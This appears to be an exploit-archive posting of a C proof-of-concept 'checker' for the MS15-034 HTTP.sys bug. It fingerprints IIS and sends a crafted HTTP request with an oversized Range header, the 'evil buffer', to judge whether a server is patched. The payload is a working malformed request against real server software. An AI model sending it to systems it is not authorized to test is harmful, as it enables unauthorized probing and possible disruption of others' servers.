exploit the possibilities

Microsoft Windows HTTP.sys Proof Of Concept

Microsoft Windows HTTP.sys Proof Of Concept
Posted Apr 16, 2015
Authored by rhcp011235

Microsoft Windows HTTP.sys proof of concept exploit for MS15-034.

tags | exploit, web, proof of concept
systems | windows
advisories | CVE-2015-1635
MD5 | 0a19a920efc724f7ae7ac80c340767d7

Microsoft Windows HTTP.sys Proof Of Concept

Change Mirror Download
/*
UNTESTED - MS15-034 Checker

THE BUG:

8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here

ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>

int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;

struct sockaddr_in serv_addr;
struct hostent *server;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}

return sockfd;
}


int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];

// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";

// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
}

printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);

if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}

sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");




}

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